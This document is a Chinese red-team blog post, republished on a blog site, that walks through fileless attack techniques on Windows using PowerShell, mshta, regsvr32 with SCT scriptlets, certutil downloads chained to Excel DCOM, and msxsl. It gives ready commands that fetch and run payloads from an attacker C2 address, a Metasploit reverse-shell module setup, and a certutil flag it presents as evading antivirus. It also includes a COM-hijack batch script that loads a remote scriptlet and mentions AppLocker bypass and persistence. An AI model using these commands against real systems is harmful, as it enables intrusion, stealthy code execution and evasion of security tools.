• 常见的windows下无文件落地攻击手法——主要讨论了powershell脚本、HTA是HTML Application的缩写(HTML应用程序)、xml中利用COM组件、certutil下载然后调用Dcom组件执行恶意代码、msxsl.exe是微软用于命令行下处理XSL的可以执行JavaScript执行系统命令


    常见的windows下无文件落地攻击手法

     

    什么是无文件攻击?

    传统的恶意软件(例如.exe)攻击感染一个系统之前会把恶意文件(例如exe)复制到目标磁盘中并修改注册表并连接到此文件来达到一个长期隐藏的目的,无文件落地攻击是指即不向磁盘写入可执行文件,而是以脚本形式存在计算机中的注册表子项目中,以此来躲避杀软的检测,那么绕过了传统防病毒(AV)寻找被保存到磁盘上的文件并扫描这些文件以确定它们是否恶意的查杀方法。

    传统的恶意软件攻击流程:
    1.投放恶意PE(可移植可执行文件)到目标磁盘驱动器中
    2.执行
    3.长期隐藏-需要修改注册表并连接到此恶意PE。

    那么杀毒软件可以通过扫描查杀磁盘驱动器的文件来发现恶意PE,如果隐藏得不够深,蓝方也可以轻易把它找出来。

    无文件落地攻击流程:
    1.远程加载恶意脚本
    2.注入内存
    3.写入注册表(或者自运行)

    恶意脚本执行加载都不会在磁盘驱动器中留下文件,那么可以消除将传统的恶意软件PE(可移植可执行文件)复制到磁盘驱动器的传统步骤来逃避检测。

    无文件下对抗传统杀毒软件(AV)

    这里我们可以看看一下CrowdStrike中《无文件攻击白皮书》分析的”为何传统技术无法抵御无文件攻击“来快速理解一下无文件落地的意义:

    由于传统安全解决方案极难检测到无文件攻击,因此无文件攻击正在增加。让我们来看看,为什么当今市场上的一些端点保护技术,对这些无恶意软件入侵如此脆弱。

    1)传统防病毒(AV)旨在寻找已知恶意软件的特征码。由于无文件攻击没有恶意软件,所以AV没有可检测的特征码。

    2)基于机器学习(ML)的反恶意软件方法,在应对无文件攻击时,面临着与传统AV相同的挑战。ML动态分析未知文件,并将其区分为好的或坏的。但是我们已经注意到,在无文件攻击中,没有要分析的文件,因此ML无法提供帮助。

    3)白名单方法包括列出一台机器上所有良好的进程,以防止未知进程执行。无文件攻击的问题在于,它们利用易受攻击的合法白名单应用程序,并利用内置的操作系统可执行文件。阻止用户和操作系统共同依赖的应用程序,并不是一个好的选项。

    4)使用失陷指标(IOC)工具来防止无文件攻击也不是很有效。本质上,IOC类似于传统的AV签名,因为它们是攻击者留下的已知恶意制品。然而,由于它们利用合法的进程,并且在内存中操作,所以无文件攻击不会留下制品,因此IOC工具几乎找不到任何东西。

    5)另一种方法涉及沙箱,它可以采取多种形式,包括基于网络的爆破和微虚拟化。由于无文件攻击不使用PE文件,因此沙盒没有什么可爆破的。即便真有东西被发送到沙箱,因为无文件攻击通常会劫持合法进程,大多数沙箱也都会忽略它。

     

    无文件落地攻击的常用手法

    一般来说在windows的能执行脚本或命令的组件都可以用来利用进行无文件落地攻击。

    例如我们常见的

    可以利用Windows自带的解析器:

    powershell(脚本解析器) 》》》powershell.exe(应用程序)
    VB.script(脚本解析器) 》》》cscript.exe(应用程序)
    bat处理 (脚本解析器) 》》》cmd.exe(应用程序)
    javaSrtipt(脚本解析器) 》》》mshta.exe(应用程序)

    利用流程:

    远程加载对应payload脚本,直接调用解析器注入内存中运行(当然也可以上传脚本到目标中再调用脚本解析器去运行,但是这样不属于无文件落地手法,这里不讨论)

     

    1.powershell(脚本解析器)利用

    powershell是微软一种命令行shell程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。

    PowerShell 是一种跨平台的任务自动化和配置管理框架,由命令行管理程序和脚本语言组成。与大多数接受并返回文本的 shell
    不同,PowerShell 构建在 .NET 公共语言运行时 (CLR) 的基础之上,接受并返回 .NET 对象。
    这一根本上的改变引入了全新的自动化工具和方法。

    常见手法:
    这里使用Cobalt Strilke为例

    使用Cobalt strike生成一个木马放在WEB中

    然后在目标中调用powershell远程加载执行我们的恶意ps1,然后在cobalt strike中可以看到已经回连上线了

     

    2.Mshta.exe利用

    HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。

    大多数的Windows操作系统都支持Hta文件执行,利用Mshta.exe解析.hta文件执行,这里的.hta文件可以是本地的也可以是可访问的远程主机上的。

    HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多。它具有桌面程序的所有权限(读写文件、操作注册表等)。HTA本来就是被设计为桌面程序的。

    例如:

    <html>
    <head>
    <script>
    s = new ActiveXObject("WScript.Shell");
    s.run("%windir%\\System32\\cmd.exe /c calc.exe", 0);
    window.close();
    </script>
    </head>
    </html>

    保存为HTA文件后就可以打开 执行后会弹出计算器

    在cobalt strike中利用;

    1.生成一个远端HTA恶意脚本

    设置好监听器

    部署好远端HTA木马

    在目标机器上运行 mshta http://ip/123.hta 即可完成上线

    在MSF中利用:

    use exploit/windows/misc/hta_server
    set payload windows/meterpreter/reverse_http
    set lhost ip
    set lport 监听端口
    exploit -j

    在目标机器上运行 mshta http://:8080/ycUL3otC.hta 即可完成上线

    3.regsvr32.exe

    Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windowssystem32文件夹下;2000系统的regsvr32.exe在winntsystem32文件夹下。

    语法

    regsvr32 [/u] [/s] [/n] [/i[:cmdline]] <Dllname>

    /u Unregisters server.
    /s Prevents displaying messages.
    /n Prevents calling DllRegisterServer. This parameter requires you to also use the /i parameter.
    /i:<cmdline> Passes an optional command-line string (cmdline) to DllInstall. If you use this parameter with the /u parameter, it calls DllUninstall.
    <Dllname> The name of the .dll file that will be registered.
    /? Displays help at the command prompt.

    直接加载dll完成上线,同样也可远程加载执行
    这里使用cobalt strike演示:

    生成一个.dll的木马:

    部署好远端.dll

    regsvr32.exe /s /u /n /i:http://192.168.50.146:80/download/1t.dll scrobj.dll

    访问上线。

    除了.dll外,也可以解析.sct文件。

    .sct文件必须是XML文件格式,要执行命令可以参考如下:

    SCT文件(实际上是XML文件)中具有一个注册标记,其中可以包含VBScript或JScript代码。请注意,该文件可以具有任何扩展名。它不一定是.sct,但是该技术围绕SCT文件的使用和Windows脚本组件服务而构建。

    例如:

    <?XML version="1.0"?>

    <scriptlet>
    <registration
    progid="TESTING"
    classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
    <script language="JScript">
    <![CDATA[
    var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]>
    </script>
    </registration>
    </scriptlet>


    同样我们可以利用该技术可以应用于持久化,绕过AppLocker,sct文件内容如下:

    <?XML version="1.0"?>
    <scriptlet>
    <registration
    description="Component"
    progid="Component.TESTCB"
    version="1.00"
    classid="{20002222-0000-0000-0000-000000000002}"
    >
    </registration>

    <public>
    <method name="exec">
    </method>
    </public>
    <script language="JScript">
    <![CDATA[
    function exec(){
    new ActiveXObject('WScript.Shell').Run('calc.exe');
    }
    ]]>
    </script>
    </scriptlet>

    我们这里还是使用cobalt strike吧,因为在cobalt strike中利用直接生成com script的恶意文件,当然手工也可以,但是比较麻烦。

    然后放在我们的web服务器中,

    cmd输入 regsvr32.exe "http://192.168.50.146:80/download/123.sct" scrobj.dll

    直接上线

    上述方法运行完regsvr32.exe /s /i:http://x.x.x.x/backdoor.sct scrobj.dll后,scrobj.dll会创建COM对象,并写入注册表中,可以从HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINE查看到,可以通过以下的js脚本调用触发:

    var test = new ActiveXObject("Component.TESTCB");
    test.exec()

    后面我会出一个sct的深度利用文章。sct挺好玩的

     

    4.certutil.exe的利用

    Certutil.exe 是命令行程序,作为证书服务的一部分进行安装。你可以使用 certutil.exe 来转储和显示证书颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件以及验证证书、密钥对和证书链。
    如果 certutil 在没有其他参数的证书颁发机构上运行,则它将显示当前的证书颁发机构配置。如果在非证书颁发机构上运行 certutil,则该命令默认为运行 certutil [-dump] 命令。

    具体文档可以看微软中的

    https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/certutil

    简单来说就是:

    该程序是Windows下的一个证书服务的安装程序,可以下载、编码和解码证书。在实际的渗透环境中,我们也可以利用它来解决一些无法上传脚本的情况。

    我们从微软文档中重点看一些对渗透/红队行动中帮助较大的一些东西

    -dump
    转储配置信息或文件。

    certutil [options] [-dump]
    certutil [options] [-dump] file

    -decodehex
    对十六进制编码的文件进行解码。

    certutil [options] -decodehex infile outfile [type]

    对 Base64 编码的文件进行解码。

    certutil [options] -decode infile outfile

    将文件编码为 Base64。

    certutil [options] -encode infile outfile

    ok 我们可以利用certutil.exe从我们的远端c2中下载我们的恶意代码并执行它
    也可以把我们的恶意代码通过base64或16进制进行传输并执行

    注意:虽然说certutril是Windows本身自带的程序,但是现在用上述的方法来下载东西杀软都会拦截。但是加一个-verifyctl 参数就可以绕过这个问题,下载下来的是一个二进制文件,需要修改后缀名为原来的后缀名即可运行

    我们在把我们要传输的脚本放在cobalt strike中(实战的时建议payload和回连c2分离)。

    保存在当前路径,文件名称和下载文件名称相同

    certutil  -urlcache  -split  -f   http://192.168.50.146:80/download/file.txt

    保存在当前路径,指定保存文件名称

    certutil  -urlcache  -split  -f   http://192.168.50.146:80/download/file.txt  test.py

    保存在缓存目录,名称随机(权限不够的情况下可以使用)

    缓存目录位置:%USERPROFILE%AppDataLocalLowMicrosoftCryptnetUrlCacheContent

    certutil  -urlcache   -f  http://192.168.50.146:80/download/file.txt

    配合powershell利用;

    cobalt strike生成一个ps1的恶意脚本并放在我们的payload下发服务器中

    PS C:\Users\(123223Li)> certutil -urlcache -split -f http://192.168.50.146:80/download/file123 1.ps1
    **** 联机 ****
    0000 ...
    0de3
    CertUtil: -URLCache 命令成功完成。
    PS C:\Users\(123223Li)> .\1.ps1

    当然我们也可以在传输的过程中采用base64或16进制进行传输然后采用powershell解码base64或16进制去执行恶意代码,这样能保证传输不让查杀,也可以采用aes加密等等,不过key的交互得处理一下

    利用链:powershell调用certutil下载然后调用Dcom组件执行恶意代码,麻烦=隐蔽哈哈哈

    这里演示的是调用Excel.Application这个dcom组件,别的可利用的com对象可以看我的另一篇关于dcom横向的那个文章。

    代码我做成来ps1并放在了github上,方便远程调用

    https://github.com/dnsil/certuil-offer-Dcom.ps1

    cobalt strike生成一个恶意的dll(不讨论免杀)并放在我们的playload下发服务器中

    加载我们的利用脚本,可以远程加载。这里演示本地加载;

    param(

    $path,
    $u,
    $filename



    )



    certutil.exe -urlcache -split -f $u $path $filename

    $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))

    $excel.RegisterXLL($path)

    还有一个利用下载劫持com的sct的批处理文件

    @echo off

    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00 /ve /t REG_SZ /d Bandit /f 1>nul 2>&1

    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00\CLSID /ve /t REG_SZ /d {00000001-0000-0000-0000-0000FEEDACDC} /f 1>nul 2>&1

    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit /ve /t REG_SZ /d Bandit /f 1>nul 2>&1

    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit\CLSID /ve /t REG_SZ /d {00000001-0000-0000-0000-0000FEEDACDC} /f 1>nul 2>&1

    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC} /ve /t REG_SZ /d Bandit /f 1>nul 2>&1

    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32 /ve /t REG_SZ /d C:\WINDOWS\system32\scrobj.dll /f 1>nul 2>&1

    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32 /v ThreadingModel /t REG_SZ /d Apartment /f 1>nul 2>&1

    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID /ve /t REG_SZ /d Bandit.1.00 /f 1>nul 2>&1

    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL /ve /t REG_SZ /d https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct /f 1>nul 2>&1

    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID /ve /t REG_SZ /d Bandit /f 1>nul 2>&1

    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{372FCE38-4324-11D0-8810-00A0C903B83C}\TreatAs /ve /t REG_SZ /d {00000001-0000-0000-0000-0000FEEDACDC} /f 1>nul 2>&1

    certutil 1>nul 2>&1

    reg delete HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00 /f 1>nul 2>&1

    reg delete HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit /f 1>nul 2>&1

    reg delete HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC} /f 1>nul 2>&1

    reg delete HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{372FCE38-4324-11D0-8810-00A0C903B83C}\TreatAs /f 1>nul 2>&1

    echo Done!

    这里使用cobalt strike 中的恶意com script,一样我们放在web服务器中

    这个位置更改成我们的远程连接:

    但是我这里利用不了。理论上是可以的哈哈哈哈

    利用certUtil简便快捷,但是使用后需要注意清除缓存

     

    5.msxsl.exe利用

    这个是winddows发布的一个组件但是它并没有安装在windows操作系统中,那么为什么要利用它?其实以上都手法都是在目前比较难以利用的了,但是我们熟悉之后可以组合利用来达到我们的目。

    msxsl.exe具有windows的签名,它的大小也只有24.3 KB (24,896 字节),我们完全可以上传到目标中或者在钓鱼文档中释放加载来进行利用来绕过杀毒软件的检测查杀。

    老规矩我们去微软文档中看看这个东西的知识;

    好吧我并没有在微软文档这种查找到这个东西知识;

    https://www.microsoft.com/en-us/download/details.aspx?id=21714

    我们可以在网络上公开的资料可以知道:

    msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令

    执行该工具需要用到2个文件,分别为XML及XSL文件,其命令如下:

    msxsl.exe test.xml exec.xsl

    利用手法:
    test.xml的代码模板:

    <?xml version="1.0"?>
    <?xml-stylesheet type="text/xml" href="C:\Users\Public\Downloads\payload.xsl" ?>
    <customers>
    <customer>
    <name>Microsoft</name>
    </customer>
    </customers>

    exec.xsl代码模板:

    <?xml version='1.0'?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace">
    <msxsl:script language="JScript" implements-prefix="user">

    function xml(nodelist) {
    var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
    return nodelist.nextNode().xml;
    }
    </msxsl:script>
    <xsl:template match="/">
    <xsl:value-of select="user:xml(.)"/>
    </xsl:template>
    </xsl:stylesheet>

    网络上的模板都是存在一些小问题的,使用我上面的就行(逼我去学习了一下xml)当然也可以采用xml进行更多操作

    本地执行看看

    成功弹出calc(计算器)

    采用cobalt strike利用

    生成一个powrshell的木马

    替换到这里去

    然后加载执行上线

    远程加载执行上线

    C:\Users\(123223Li)>C:\Users\Public\Downloads\msxsl.exe http://192.168.50.146:80/download/test.xml http://192.168.50.146:80/download/exec.xsl

    把test.xml和exec.xsl放在我们的playload下发服务器中

    成功上线cobalt strike。

    后记

    在windwos中还存在很多可以利用的脚本和组件,我们可以组合起来利用才能更好,也可以把它们应用到钓鱼中去,采用无文件远程加载我们的恶意代码等等,也可以通释放调用组件来远程加载我们的木马等等操作,反正举一反三就好

    未完。。。。。。。。。。

    晚安 明天要上课

    参考链接:
    http://blog.51cto.com/duallay/1979860
    http://www.4hou.com/technology/10508.html
    https://mp.weixin.qq.com/s/NxkHeYwddvHW9uv9ioyrxQ
    http://t3ngyu.leanote.com/post/Windows-noFile
    https://www.carbonblack.com/blog/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
    https://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html

    标签: none

    本文分享自微信公众号 - WhITECat安全团队(WhITECat_007)。

  • 相关阅读:
    Git和SourceTree配合使用
    hive中数据存储格式对比:textfile,parquent,orc,thrift,avro,protubuf
    hive 实现类似 contain 包含查询
    hive函数 parse_url的使用
    Spring中注解方式的默认beanName生成规则
    @Autowired 与@Resource的区别
    js通过html的url获取参数值
    mysql模糊查询多个字段
    java获取调用当前方法的方法名和行数
    阿里druid数据源配置及数据库密码加密
  • 原文地址:https://www.cnblogs.com/bonelee/p/15903244.html
Copyright © 2020-2023  润新知